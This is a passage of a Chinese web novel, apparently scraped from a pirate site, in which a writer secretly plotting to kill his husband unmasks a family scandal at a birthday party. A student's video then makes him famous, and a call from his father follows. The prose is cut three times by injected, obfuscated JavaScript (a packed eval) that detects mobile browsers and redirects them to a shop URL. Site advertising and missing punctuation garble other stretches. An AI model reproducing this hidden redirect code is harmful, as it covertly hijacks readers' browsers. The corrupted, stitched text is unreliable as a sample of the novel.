他们齐齐看向隆夏。隆夏只一脸懵懂:“怎么了?盒子里 放着的不是我的雕塑吗? 他作站不起来也看不见盒中内容的模样。隆春就在这时快步走来。他的脸色很难看,行为却像护卫隆家荣耀的最后的保安。他将盒子用力盖上,张嘴想向宾客们说什么。 隆冬就在这时惨白着脸色开口了:“小夏,我知道你不喜欢姐夫,但你怎么能送这种东西…… 说完,她就昏了过去。 …… 白唯和卢森在一片兵荒马乱中被仆人邀请到旁边坐下。宾客们一阵窃窃私语,在讨论盒子里装的什么东西。 “我都看见了…… “怎么会做这么残忍的事情? “隆冬说的是真的吗?隆夏不喜欢他姐夫?之前大家都知道任君尧是隆夏介绍给隆冬的,我还以为他很喜欢…… “即使是小孩子不喜欢姐夫的恶作剧,也实在是够了!有人严肃震怒道。 “宝贝,你别想盒子里的东西,太恶心了,你会吃不下饭的。 白唯:……怎么想的,光是你的尸体我都看见好几回了。 白唯只想着隆冬。那个总是脸色苍白,说话很小声的女人。可以说方才如果没有她的一句话和晕倒,谁都不会认为,任君尧和隆夏的关系不好。 而且无论真相如何,所有人都会认为,这是她情急之下说出的实话。 白唯不相信巧合。他认为隆冬一定没有旁人想象中那样简单。 刘副校长在这时坐到了白唯旁边。他擦着眼镜,满脸自责:“早知道,在觉得盒子不对劲时,我就不该把它送过来的…… 白唯说:“盒子里到底装着什么? 刘副校长更确信白唯对此一无所知。他对着白唯小声耳语几句,又道:“我完全没想到,隆夏看起来那么乖巧,私底下竟然会做这种事。 “隆冬醒了。隆春匆匆走过来,满脸不悦地站在白唯等人身前,“白唯,刘副校长,你们能过来一下吗。 随他进入房间时,白唯看着房间里的几个人,忽然又意识到了一件事。 如果没有隆冬的昏倒,他们原本会在大厅里发生针对这件事的攻辩,隆夏的解释也会让更多人直接听到。 隆冬的目的到底是什么? 女人面色惨 白地躺在床上。任君尧坐在她身边。无论他是怎样虚荣的一个人,此刻他照顾她的样子还真像一个好丈夫。 隆夏在旁边哭:“姐姐,姐夫,我真的不知道盒子里怎么会变成这种东西。里面应该是我做的小雕塑,我在学校花了好几天才做出来的……怎么会变成现在的东西…… 隆春对刘副校长说:“刘校长,是您去画室,把东西拿过来的么? 刘副校长点头。隆春皱着眉头道:“难道,是有人在这之前,把盒子里的东西换掉了? “可是,我没有告诉过其他人,这个盒子里面装着生日礼物…… 白唯突然道:“隆夏,你是在怀疑是刘副校长把你盒子里的东西换掉了么?刘副校长有什么理由这么做?而且,他有什么机会把一具动物尸体放进你的礼物盒里?而且,这明显是要经过预谋的行为。即使他知道今天是任君尧的生日…… 隆夏明显是想要拉他下水,但白唯直接打断他的施法。他转向众人,让自己声音能被门口偷听的锦欣和唐霖等人都能听见:“今天下午最后一趟美术课前,隆夏给我发信息,让我帮他把礼物拿过来。但我急着上课,下课后又急着带卢森去镇中心给任君尧买礼物…… “我们把任君尧的生日忘了,不知道今天会有生日派对。卢森在旁边不好意思地补充道。 白唯瞥了卢森一眼,他发现有个老公还挺不错。有卢森这句“他们不知道任君尧的生日的补充,白唯可能被诬陷的“预谋也就无从谈起了。 “所以,我把隆夏的消息转发给了刘副校长,让他帮隆夏把盒子带过来。刘副校长是临时知晓,他不可能会做替换盒子里内容这样的事。白唯道。 白唯不怕任何攻击。他已经补好了所有可能的漏洞,而且还祸水东引到了刘校长身上。而刘副校长在雪山镇居住多年,所有人都相信他德高望重。 “是啊!不可能是刘副校长。 “刘副校长对学生和小动物都很友善,不可能是他! 在一波波支撑的声浪里,隆春蹲下身,去握隆夏的手。他暗示性地道:“隆夏,除了刘校长之外,还有谁有可能接触过那个盒子? 实际上,他把隆夏的手握得很紧,眼里全是“你怎么能在这样的公开场合里玩 这种手段”的愤怒。 隆夏张口结舌所有言语的箭都射到了他的身上:“我想想……” 可是没办法。既然白唯发现了他就会堵住一切漏洞一切的所有的! 白唯在这时忽然又道:“不过也可能是学校里不喜欢隆夏的人做了这件事。画室玻璃被砸碎了这几天应该很多人都有机会进入那个画室里。如果要说是被人替换了盒子中的内容的话……” “先让校工赶紧修理一下玻璃吧也可以麻烦他们在画室里到处找找翻一翻看看有没有别人留下的痕迹。”白唯友善地说“毕竟隆夏的腿不方便不像那些小动物会跑会跳。而且如果说这件事是隆夏干的那一定得有人帮他把那些小动物捉回来给他……隆春你说是不是?” 隆春和隆夏在这一刻如遭雷击。 原来白唯的杀招藏在最后这段话里。一则让校工进去查找让隆夏的秘密无从遁形。二则提到隆夏和动物活动能力的对比让隆夏身为犯罪者这件事事出有因。 三则……将隆春也拉下了水。 众人怀疑的目光果然落在了隆春和隆夏两人身上。就在隆春要开口时床上的隆冬发出了声音。 “那就……这样吧。”她小声说“我好累。” “真是抱歉各位今天没能招待好大家。”任君尧站起来对众人鞠躬。 好好的生日宴会在一场荒诞中结束。白唯和卢森在所有人对隆家的议论声中离开。直到走到走廊上时他听见背后传来了隆夏的声音:“白唯!” 他看着白唯涨红了脸表情有些撕心裂肺。白唯回头道:“怎么了?” “……谢谢你。”他在众人的注视下只能咬牙切齿道。 这时候走过去和对方擦肩耳语 “白唯还真是有风度啊!” “逻辑能力也很强。” “在宴会之后我会多去拜访他们家的……” “好吧我之前觉得卢森那个民宿计划很不靠谱。但白唯这么厉害卢森也不会差到哪里去。有白唯在说不定他们的民宿还真能红红火火。” 听见最后一句话后 白唯脚下略微趔趄。他抿住嘴唇一脸不悦。 卢森!死刑! 在他的身后唐霖悄悄收起了手机。 “喂你打算干嘛?”锦欣警惕道。 “你不觉得白老师刚才的样子很帅吗?如果我把他剪辑出来发出去说不定会有更多人想看我的账号。”唐霖激动道“小镇神秘礼物事件!古老的小镇大家族却藏有血腥残忍的秘密。将这件事揭开的竟然是一个外来者作家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164415|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……你说这是不是比男子中学生的日常更吸引人?” “什么……如果是我我也想看。”锦欣恍惚了一下忽然很激动 小说的域名caixs∨(请来才 小说 看最新章节 完整章节)“你说我们能不能把它剪辑成一个福尔摩斯一样的短剧?” “短剧?我不怎么看短剧。但搞不好可以火!”唐霖说。 直到第二天学校里也都是关于今天这件事的风言风语。白唯在收拾东西后发现旁边画室的窗户玻璃还没有补。 只是盖了一块布在上面。不少学生在偷看。 “这块布是怎么回事?”白唯问。 “隆家人不让校工进画室。他们说里面有很昂贵的东西害怕被弄坏先整理一下。”旁边穆老师不悦地耸肩“以前还以为他们很平易近人现在……他们怎么能假设校工会偷他们的东西?” “就是大家都是几代的熟人了。” “不是啊我听说……”另一个人很八卦地凑了过来。他看看窗外没有人这才开口。 作者有话要说 Let''s推荐预收有概率是下一本九或者十月开:《在贵族学院伪装上等》 柳瑛是贵族学院里公认最上等的人。他转学进来衣着不显山不露水却戴着百达翡丽的腕表。他气质清冷洞穴潜水和翼装飞行却玩得头头是道学习弹钢琴也是第一等。 眼高于顶的公子哥们向他卑微递出橄榄枝想要和他建立联系。 只有柳瑛知道一切都是假的。他贫穷残疾腿上有抹不去的伤疤背后也没有显赫的家族只有一张一等一漂亮的脸是真的。 就连心也是纯黑的。 泡在毒液里的蝼蚁拽不下富人们的天堂就连羽化的机会也被一脚践踏连做人的尊严也没有。他向深渊伸出手都市里的魔鬼却与他不期而遇。 他只是和 魔鬼签订了契约的将死之人带着千疮百孔的皮囊为复仇而来。 * 冷漠傲慢的老牌贵族精英兄弟会主席。 霸道暴躁的校霸F0富豪之子。 看似友善实则心机控制狂的学生会会长。 淡漠平和漠视一切的教会继承人。 狂热于艺术伪装乖巧纯洁的艺术世家病娇。 自诩高贵、冷眼旁观刚刚攀上阶级的野心勃勃的“新贵”。 还有更多。 他身体披着纯白伪装对他们微笑灵魂却拖着残躯于深渊冷冷注视他们。 他一个也不会放过。 * 魔鬼偏好吃纯白的灵魂。和柳瑛签订契约时他发现对方的灵魂是纯黑的。 是个赔本生意但看看热闹也不错。 其实柳瑛的灵魂很不好吃。魔鬼欣赏着柳瑛对自己的恐惧。那张总是清冷又倔强的脸对敌人们成竹于胸唯有在面对他这个合作者时紧张又忌惮。 甚至害怕到发抖。 柳瑛永远不会在他面前掩饰一切狼狈。 魔鬼心情愉快又给柳瑛的敌人下了道恶咒。 就为了柳瑛的这个表情他永远也不会让柳瑛知道这件事。 Cp是魔鬼×主角魔鬼在外人面前有时是主角的小叔有时是表哥有时是随身携带的宝可梦。 文案里出现的反派们没有cp但会用一生追着主角发癫发痴。(想什么你们怎么打得过魔鬼) 感谢在2024-08-0120:00:22~2024-08-0223:55:19期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:427、超低空飞行、长山子1个; 感谢灌溉营养液的小天使:今天也在等更新52瓶;乱码一堆、长山子34瓶;哦哦吖、祭时语良人、金鳞30瓶;一瞥一惊鸿29瓶;生生不息、重点错、Seii20瓶;风过旷野15瓶;微凉、67426262、徵羽、小皖小皖起床不晚、越泠寒mio、Saccharine、每逢假期倍思机、nonono、秦怡朝颜、我有一个愿望10瓶;叶落知秋、(ovo)8瓶;二氧、燕满兰堂5瓶;地表最强皮皮虾、稚女、人生得意需尽欢3瓶;热心网友鱼.、是稻子哦、究惑久久2瓶;冰冰糖啵啵鱼、欣欣不磕cp、清秋、重生之我在jj看男同、小白杨、诺奇莫银、又菜又挑日常挨饿.jpg、34590880、リューソース、咕枯、李有病、427、○?∨?○、老婆我有花苦茶、娜儿爱吃糖、檀多多背后的女人、我说不言语云无归处、自得其乐、58037723、啦啦啦啦啦啦啦啦~耶、在逃花椒、63229120、牛紫文gh1瓶; 非常感谢大家对我的支持 第 56 章 福尔摩斯已至 “我听说隆家的画室里有很多见不得人的东西。什么雕塑啊,画啊……可血腥恐怖的嘞。邱老师你说是不是?校工过来的时候,好像只有你在,跟着他们进了画室吧。 被叫到的女老师动了动嘴,却没有加入讨论。在白唯看向她时,她有些犹豫地看了看他,又把脑袋缩了回去。 “真的啊?那看来之前那个盒子里的事也是隆家自己干的了。不过隆夏毕竟是残疾了,因此有些心理扭曲也符合逻辑…… “正常残疾人可不背这锅啊!隆夏明明是本来就心理变态。你们还记得隆秋吗? “有点骄纵,但很善良的小姑娘。简直不像是他们的妹妹。 “之前都说那场车祸是意外。但我早就听说过,隆夏和隆秋的关系很不好。隆夏亲口说自己嫉妒隆秋,凭什么她可以留在父母身边,自己就得出去学习……隆秋身故后,她的小狗也消失得莫名其妙的。说不定隆夏就是从那时候开始…… “隆春也脱不了干系。隆夏活动不利索,会在旁边协助的除了他还有谁? “天哪!这一家人平时看起来人模狗样的…… 有声音打断了他们的讨论:“阿唯在吗? 卢森站在办公室门口,手里拿着一盒小点心和一杯酸奶。办公室里的人看见了,纷纷探着脑袋:“卢老师! “马上就不是了。卢森笑道,“下周一乔老师就回来了。 看见他把准备好的间餐放在白唯的桌子上,穆老师啧啧道:“原本我很羡慕隆家人的生活。但现在我发现,像你们这样稳稳的幸福才是最不错的。 “感情可真好啊…… “那可不是么,竟然愿意放弃家里的富贵私奔出来。听说他们家族有一片巨大的祖宅,从前庭到花园都要做摆渡车。有人酸溜溜地说,“如果换成我的话,我才不要什么真情,只要荣华富贵。我这辈子都要住在那边的祖宅里。 “真羡慕,我也想要。 卢森的烘焙做得越来越好了。白唯盯着小盒子,心想卢森也知道,他唯独不会拒绝的就是卢森做的小点心。 这让他莫名其妙有种走在路上,被人捏住后颈的感觉。 “你们现在感情这么好,有没有考虑过一起回家,一大家子住在 一起啊?”有人戳了戳卢森“亲情也是很重要的白唯说不定很想念家里呢。” 白唯看着小点心于是没听到这句话也没看见卢森眼底涌起来的一点阴沉。 两个人一起走到办公室外面。卢森说:“下周一开始我在学校里就没有事做了。之后我每天把你送到学校然后回修车店上班。” 白唯:“嗯……在新的美术老师被招聘到之前我还得在这里代几周的课。” “你喜欢做美术老师吗?或者你考虑过继续在这里教美术吗?”卢森忽然问。 继续在这里工作? 这显然是不符合白唯的预期的。他从一开始就只是来这里帮乔敏的忙罢了。 白唯本来要直接摇头可他忽然产生了一种想法——如果他没有打算杀卢森而是打算一辈子在这里居住。那么在这种情况下的他会愿意在雪山镇的中学里做一名美术老师吗? 又或者会愿意接受每周来代几次美术课吗? “没有我没考虑过在这里继续教书只是……”白唯把“只是”后面的话吞了下去。他心乱如麻自己也不知道自己是怎么想的。 “只是什么?”卢森追问“你的未来规划是什么样的呢?亲爱的。” “只是……我想……”关于南都和出版社的记忆一闪而过白唯蹙起眉头打算结束这个话题“好吧我们现在不谈论这个话题好吗?” 发现白唯的迟疑后卢森的想法更加坚定了。 在这些代课的日子里白唯的心情都很不错。他不再像过去那样总是以写作的借口自己一个人待在书房里一待就是一整天。他们会每天一起开车上下班中午在学校食堂里一起吃饭。他们在学校里认识了很多人——尤其是白唯其中许多人都和他们看起来能保持更加长期的关系会来他们的店里修车邀请他们一起活动。 于是这让卢森产生了一个想法。 或许让白唯继续当美术老师 和他在一起。 而且他在这段时间里也听到了许多人类对白家的看法。他们都认为白家富贵的生活不可或缺令人羡慕。这些人的看法也足以说明卢森一开始对于白家的了解、和继承 白家的计划是十分正确的。这在他们眼里 他逃到雪山镇后一开始的计划也是和白唯关系转好后再一起回到白家继承家业。 但卢森现在忽然极其地不想这么做了。他一想到回到白家后白唯就会成为白家的白唯而不是他一个人的白唯他就觉得很不舒服。 他想要让白唯在小镇上建立更多联系让白唯能够恒久地和他留在这里。 “你从来不和我说你在工作上的事情。但我看到前段时间写作的你心里充满苦闷这段时间在学校的你的心情好像很不错。如果你愿意的话我们可以去找校长让你在这里稳定下来……” “别说这个了我没有考虑这些。”白唯说。 白唯的态度带着情绪上的坚决。卢森虽然接收到了这个消息可他并没有打算就此放弃。 他要想办法让白唯接受这件事。 回到办公室后白唯发现其他老师都去上课了只剩下邱老师还在办公室里。作为办公室里唯一一个和校工一起进入画室深处又被隆家人叫出来的老师在今天下午的讨论中她显得有些过于沉默了。 白唯觉得她一定看到了什么。可他没想到她会在无人时和自己说话。 “那个……”邱老师有些犹豫“我跟着校工进画室时不小心翻开了一张盖在画架上的幕布。” “嗯。”白唯没有戳破她拙劣的、用以遮盖好奇心的谎言。 “我想了想还是觉得应该告诉你我看见了画上你的……” 白唯额头上的青筋绷了起来。不用想他也知道上面要么是什么血腥的滑要么是什么不堪入目的东西。但白唯总能伪装得很好。他又意外又难过地道:“没想到隆夏那么讨厌我?我和他这周才第一次见面……” “哦不是。因为太奇怪了所以我才告诉你。在画的下半张纸里画着地狱里的骷髅上半张纸里把你画得……很神圣很完美。”邱老师说“但我觉得那幅画不是一周之内能完成的至少得画两个月吧。” “啊?” 这下倒是让白唯十分意外了。 可邱老师的下一句话让他更加意外了。 “而且那张画上的你比现在看起来要年轻一些。像是 中学时候的你。” …… 隆家的各种新闻最终被小镇镇长出面压下了。这并不让人意外毕竟在此盘踞多年的隆家和镇长有多年的交情。镇长看见他们去世的父母的面子上也不会让他们一家太难做。 但镇长给出的理由就让人很啼笑皆非了。第二周白唯在来到学校后还听见有老师们在聚众嘲笑。 “有人潜入了画室故意把尸体放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164416|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盒子里。我的老天爷谁大费周折干这么无聊的事?” “镇长还说可能是通缉令上的连环杀手干的。怎么可能有连环杀手来雪山镇?” “是啊。而且我们这里的镇民这么弱小淳朴又不是黑港城里那些经历过大风大浪的五星好市民。要是被连环杀手潜入了我们镇上一定会死很多人的。怎么可能让我们毫发无伤。” “我表侄子认识黑港城那群义警。他们现在正满世界地找通缉令上剩余的连环杀手呢。我表侄子和他们提过很多次雪山镇结果人家就听了一耳朵完全没有过来找的意思。” 小镇的生活听起来可真热闹啊。但白唯还是打听了一句:“那些义警只抓连环杀手吗?” “是啊除此之外他们对别的犯罪者都没兴趣。” 白唯闻言略微放心了。他只打算杀一个老公又不打算杀很多人。想必即使是在未来这群精神病义警也不会和他扯上任何关系。 相反小镇居民们的热情和善意让他烦不胜烦。他们家里开始出现了很多访客这经常使他感到烦心还让他不得不关闭了许多机关。 必须得想办法赶走这些热情的镇民!只有在足够清净的环境里他才能重拾他的谋杀计划! 但白唯自己也没发现的是这段时间以来他越来越少地去思考干掉卢森的计划了。或许就在每天的小点心里或许就在每天上下班的接送里…… 直到今天的一堂美术课。 白唯刚进教室就敏锐地察觉到气氛的不对。一群青少年围城一团都在看其中一个人的手机。坐在旁边一脸不爽的少女他还认识正是前几天在宴会上出现的锦欣。 “这么牛……” “我去这么高的播放量!” “唐哥牛啊!你要火了!” 被围在中间的人 说更新,记住域名caixs.com?(请来才小 说 看最新章节 完整章节) 正是锦欣的表哥唐霖。白唯清了下嗓子,正准备让他们散开去上课。但其中一个人看见了白唯。 “卧槽,福尔摩斯来了!” 几个人如同做了天大的亏心事一样,陷入惊恐。白唯也陷入疑惑。 作者有话要说 感谢在2024-08-0223:55:19~2024-08-0323:56:47期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:爆裂鼓手双倍IPA1个; 感谢投出地雷的小天使:二氧化碳、转生成为宿星川的第一、糖糖、超低空飞行1个; 感谢灌溉营养液的小天使:木哲哲哲子66瓶;萧小白50瓶;旅途与星空、Sakura、N次方20瓶;一反暮绵16瓶;大芊11瓶;在喝coco、小艾、你真的太短了、栀夏10瓶;人生得意需尽欢8瓶;204175617瓶;(ovo)5瓶;脆皮鸭使我快乐3瓶;间歇性神经递质发疯实、究惑久久2瓶;诺奇莫银、呼噜呼噜毛、世界快爆炸、又菜又挑日常挨饿.jpg、平雨不见闲、哟哟哟、挖坑不填喝凉水塞牙缝、清秋、二氧化碳、CsfbrsakrA的、猫猫killerqueen、骑鲨鱼鳍、小白杨、听听心、【怎么可以不相信温温、檀多多背后的女人、朗、冰冰糖啵啵鱼、月白不是月牙白、介凉丰、点击就看……、是稻子哦1瓶; 非常感谢大家对我的支持,我会继续努力的! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第 57 章 一通电话 第57章一通电话 上课铃响得急。白唯没在这个时候让他们交出手机,只是带着讲义走到台上。 然而上课期间,他发现以唐霖为首的许多学生都在偷偷地盯着他看。他们的神态比起平日的尊重和喜爱之外……还多了些好奇和崇拜? 白唯右眼皮不知怎的跳个不停,仿佛有灾祸临头一般。 “手机拿给我。” 唐霖在下课后本想溜走,岂料被白唯当场拦下。面对那只修长白皙的手,唐霖本想找个理由糊弄一下:“我上课前……” 白唯:“我之前听说你们年级有人在课间用手机聚众看黄色视频。没想到你也是其中之一。这实在是太让我失望了。” 唐霖:…… 唐霖如同被踩到爪子的鸡一样跳起来。刚才隐瞒的心思全都烟消云散了。 “不是不是,白老师,你看,我看的是这个!”他生怕白唯不看似的,打开手机,将自己账号下发布的视频全部展现在白唯面前,“这是我剪的视频,可不是什么黄色视频!而且您看,好几十万播放量呢!” 白唯只是诈一下他,没想到这小子这么快就全部交代了。他原本只是扫了一眼,却没想到在视频预览里看见了熟悉的面孔。 “这是什么?” “白老师!我举报!”锦欣从旁边探出脑袋来,“我表哥把前几天在隆家拍到的素材剪辑成了一个小短剧,叫白尔莫斯豪宅生日宴会奇案!他把那天的始末和自己拍的一堆东西都放进去了!” “而且,那个侦探白尔莫斯就是您!白老师,你现在有好多崇拜者。他们都叫你雪山镇的福尔摩斯呢!” “……什么?”白唯不敢相信自己的耳朵。 “没、没有!我又没有原封不动地搬进去!而且我给每个人的脸都打了码的!”唐霖涨红了脸,强词夺理地争辩。 “但你声音用的都是原音……” 两个孩子在第二节课上课铃声响起前一起跑走了。白唯却以最快的速度冲回办公室,打开电脑搜索起来。 然而,甚至不需要他详细搜索,“白尔莫斯”的关键词就挂在视频网站的热搜上升榜上。白唯刚点进视频,就发现它的播放量比起十几分钟前又上涨了好几 万。 这可是工作日下午三点时间段的好几万! 唐霖这小子在视频制作方面竟然确实很有一套。他给视频套上了一个颇具古典和神秘感的开场,配上颇具神秘感的配乐,20多分钟的短剧被他剪得像模像样的,仿佛一部妙趣横生、波涛起伏的侦探电影。或许是害怕被雪山镇镇民打,他给所有出场的人物的面部都做了模糊处理,名字进行改编,也给故事色调加了滤镜。 即使如此,当身穿白色西服的、面目模糊的白唯出现在镜头里时,还有大片大片的弹幕闪过。 “啊啊啊天哪!这个宽肩窄腰的身材!这个腿! “好完美的体子,好完美的气质……即使脸是糊的也盖不住的绝世美貌。 “和刚才那个肌肉帅哥简直环肥燕瘦无法挑选…… “卧槽,谁能让我看看他的原脸啊!卧槽! 剪辑也有意在把白唯往神秘出现的世外高人的方向塑造。在镜头语言里,白唯是一名喜欢四处旅行的作家。他擅长多国语言、精通艺术、物理、化学、生物、几门乐器……对美食美酒也有自己的见解。 然而,他并没有在撰写新的作品,而是在用去往世界各地的旅行丰富自己的写作素材,收集当地的民俗志怪,探索各种神秘事件。他有一本厚厚的手记,里面撰写着自己经历的奇闻轶事。 他曾在金字塔里被法老的木乃伊追逐,曾在复活节岛上经历过石像的睁眼,曾在太空跳伞时目睹一场发生在热气球上的情杀,曾在三峡水库里潜水,于水下发现一座青铜城……这都是什么东西,怎么比卢森编写出来的还离谱,而且是卢森编造的他们的旅行内容的promax版。 ……卢森!!都是你的问题! 而且,他还有一名助手,名叫罗森,很喜欢吃便利店里的便当。 看视频的白唯:…… 这到底是什么,他怎么觉得自己变成这熊孩子的oc了,还是自带挂件老公版本的。 或许只有闲得无聊的学生才有最高的技术力。二十几分钟的视频,顶端弹幕讨论络绎不绝。所有弹幕在白唯开口时更是迎来了雪崩式的大爆发。 白唯也是一愣。 唐霖只给他的声音做了最小的一点处理!几乎完全就是他的原音 ! “声控狂喜!!” “好美的声线……绝世清冷美人音。” “大人我要做你的狗prprpr” 不得不说,尽管视频的制作力很不错,但常人都能看出,这部视频之所以能爆火,完全是因为白唯精彩的个人演出。 无论是身材、气质、容貌(脑补中的)、修养、还是冷静的分析能力,这都让这场短剧成为了白唯的个人表演秀。他来到宴会上时文质彬彬,与众人交谈时优雅近人,在事故发生时出奇地冷静,揭穿龙家阴谋、维护刘副校长名声时从容不迫又富有同情心,而且,他还和他的助手看起来如此恩爱,又看似拥有惨痛过去……这都使他形成了一个对观众极其富有吸引力的形象。 更吸引人的是短剧结尾,他撑着伞和卢森离开时,短剧以字幕形式打在屏幕上的几段旁白。 ‘我有种预感……今天的一切,并不是偶然。’ ‘嗯哼,或许这原本就是冲着我来的。’ ‘雪山镇里,到底是什么样的人会对我怀有这种恶意呢?’ ‘这使我想要在这里停留更长一段时间了。或许,我会发现这里的更多秘密。’ 若是唐霖在这里,他一定会解释这段只是为了故弄玄虚,为拍续集画个饼。可白唯表情顷刻间变得惊疑不定。 难道,唐霖发现了? 此子小小年纪,竟然恐怖如斯? 视频的热度还在暴涨。无数人涌进评论区,询问这里是哪里,里面的主演是谁。而白唯此刻打开了唐霖的专栏,开始逡巡。 他这下总算明白,唐霖为什么抱怨自己的小镇男子高中生日常vlog没有人看了。 ……这小子,有种把所有东西都拍成恐怖片的天赋! 阳光明媚的白马中学也被他拍得像是里面藏着十个杀人犯似的,拍摄镇中心许愿井时都怀疑里面下一秒能冒出个人头来。这种风格拍小镇清新日常能火就怪了! 甚至他的个人作品收藏夹名字都叫“小镇怪奇物语(所有故事大半虚构)”。 真离谱。 视频的播放量持续上升,评论区里除了夸赞白尔莫斯,还在辱骂龙家的无耻。白唯却关掉了页面。此刻他不认为这个视频能对他的生活产生什么样的影响。在他的眼 里,这种孩子的剪辑视频只是小打小闹的东西。 而且他也没有露出脸来。 至于隆家人怎么看待这些视频,那就更不在他的考虑范围内了。 他唯一感到头痛的,是家里越堆越多的快递。自从不再代课后,卢森仿佛放飞了自我。他每天四处购买旅游纪念品,把它们摆在他P过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272175|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他和白唯的照片旁,伪造出一个又一个他们一起出游的证据。 他最近甚至都不怎么提起开民宿的事了。白唯认为大概是因为他把时间花到了购买纪念品上。 然而,白唯还是低估了这些视频的威力,以及唐霖想要乘胜追击拍视频的决心。 “白唯老师,你真的不愿意一起出演这个剧本吗?”唐霖追上他,眼里满是渴望,“我们以后可以一起拍短剧。老师,我会分成给你的!” “你现在最重要的任务是考大学。”白唯只冷酷道。 “哦……好吧,那我去找卢森老师了。”唐霖沮丧地说。 和白唯不同,卢森似乎觉得拍摄这些视频挺好玩的,偶尔也愿意配合唐霖出镜。白唯则是勉勉强强,把它当成了小孩子配音社团的小游戏。 总之也不会有多少人看的。 比起这点生活中的小麻烦,另一个麻烦反而很让白唯苦恼。 “白唯,所以你决定了吗?校长希望你能继续担任这里的美术老师。”乔敏询问他,“你有什么考虑或者打算吗?” “在有新的代课老师之前,我会继续代课的。”白唯最终如是说。 “也就是说,你不打算留在学校里么?” “再看吧。” 打算,还是不打算? 又或者,留在这里,从来也不在白唯的计划里。 “啊?……其实我还挺意外的。”乔敏说,“我以为你挺想留在这里的。其实你想留在学校里这件事也让我很意外。我以为你会更喜欢以写作为职业,或者去做别的事。总之,不是做老师……” “谁说的?”白唯只当那是随口一句聊天。 “卢森说的。他还询问过校长。校长当然是求之不得。他想知道校长有没有机会安排更吸引你的课程。他说你也对留在这里当美术老师很感兴趣。但如果有更吸引你的内容就更好了。”乔敏道,“……白唯? ” 她忽然间有些瑟缩不敢说话了。因为白唯身上忽然散发出来的冷气压倒了一切。 “……没什么。我回去问问他。”白唯淡淡道。 忽然他又如想到了什么般:“他还说了什么吗?比如任何我不知道的事情?” …… 卢森在家里收拾纪念品。 他把纪念品和PS的照片按照一定的顺序挂在照片墙上。满目的亲密美好让他感到身心舒畅。 渐渐地 然而让卢森没想到的是就在这时他接到了一通电话。 一通来自陌生中年男人的电话。 作者有话要说 感谢在2024-08-0323:56:48~2024-08-0419:08:30期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:70501025、沉1个; 感谢灌溉营养液的小天使:木乔桥80瓶;超低空飞行52瓶;熬夜伤身体36瓶;2408881820瓶;暴躁甜甜天天骂人15瓶;啾啾啾、爬六楼真的超累、lsy、重生后被画画抓走了10瓶;第19位毛桃7瓶;毛血旺好好食、尺素(oc人请加我!)、可爱老婆我一口吃了你、61343564、猫猫无敌可爱5瓶;木子4瓶;白子3瓶;(ovo)、41801864、究惑久久2瓶;suansuanchuchu、暹罗、哟哟哟、又菜又挑日常挨饿.jpg、巴巴、小米、莫里奥、星行夜归、阳和启蛰、是稻子哦、诺奇莫银、牛紫文gh、冰冰糖啵啵鱼、呼噜呼噜毛1瓶; 非常感谢大家对我的支持我会继续努力的! 第 58 章 他看着卢森 第58章他看着卢森 在搬来雪山镇后,白唯执着地在家里安装了一台电话座机——即使在这个时代,已经很少有家庭使用座机了。 卢森将此视为白唯对个人隐私的考量。白唯在雪山镇的各个机构里只留下座机电话,并没有留下他的手机电话。然而,在这座小镇里,他们一家遵纪守法,从来也没有人会因催债一类的事联系他们。这座模样颇为复古的电话也至此安详地躺在家里,从来没有人拨打过它。 然而今天,它忽然响了起来。 “请问,这里是白唯家么?” 电话那头传来中年男子的醇厚陌生的声音。醇厚,可见其应当是个风度翩翩的人,且有一定社会地位。陌生,指卢森从来没听见过他的声音。 “是的,你有什么事?” “能劳烦帮我把电话转交给白唯么?我有事想单独和他谈谈。”男子说。 卢森心中升起警惕,像雄狮一样护住自己的领地。他道:“白唯在上班,不在家。你有任何事找他,都可以先和我谈。” “他在上班?他在雪山镇找了什么工作么?就在那个小地方?”中年男子自言自语道,他听起来很诧异,还有点痛心和严肃,“你让他赶紧回家,我必须得和他谈谈……等等,你是他什么人?” “你是他什么人?你有什么资格用这种语气‘找他谈谈’?”卢森反问他。 中年男人有力道:“我是他父亲!” “哦……他的父亲?我怎么从来没在他结婚前后见过你?就像你根本不存在一样。”卢森嘲讽道,“顺带一提,我是他的丈夫。” 